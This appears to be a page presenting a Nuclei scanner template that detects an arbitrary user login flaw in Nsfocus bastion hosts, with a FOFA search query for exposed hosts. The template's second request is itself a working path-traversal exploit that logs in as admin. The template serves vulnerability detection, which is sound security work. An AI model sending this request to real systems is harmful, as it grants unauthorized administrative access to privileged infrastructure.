Nsfocus - Arbitrary User Login

ID: nsfocus-auth-bypass

Severity: high

Author: ritikchaddha

Tags: nsfocus,auth-bypass

Description

Nsfocus bastion host has an arbitrary user login vulnerability. Attackers can use the vulnerability to log in any user by including www/local_user.php

YAML Source

id: nsfocus-auth-bypass

info:
  name: Nsfocus - Arbitrary User Login
  author: ritikchaddha
  severity: high
  description: |
    Nsfocus bastion host has an arbitrary user login vulnerability. Attackers can use the vulnerability to log in any user by including www/local_user.php
  reference:
    - https://forum.butian.net/article/251
  metadata:
    max-request: 2
    verified: true
    fofa-query: body="/needUsbkey.php?username=" && "NSFOCUS"
  tags: nsfocus,auth-bypass

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains(tolower(body), 'nsfocus')"
          - "contains(header, 'NSFOCUS')"
        condition: or
        internal: true

  - raw:
      - |
        GET /api/virtual/home/status?cat=../../../../../../../../../../../../../../usr/local/nsfocus/web/apache2/www/local_user.php&method=login&user_account=admin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'status": 200'

      - type: word
        part: content_type
        words:
          - application/json
# digest: 4a0a00473045022100ca58f061ce0d0e1e04a918b22c9260b815e62271f985ef4635762d4d5040404b02200adea755353be091e0babb051bb7af7779ae88e23c58a291d881f19b14b769c9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/nsfocus-auth-bypass.yaml"

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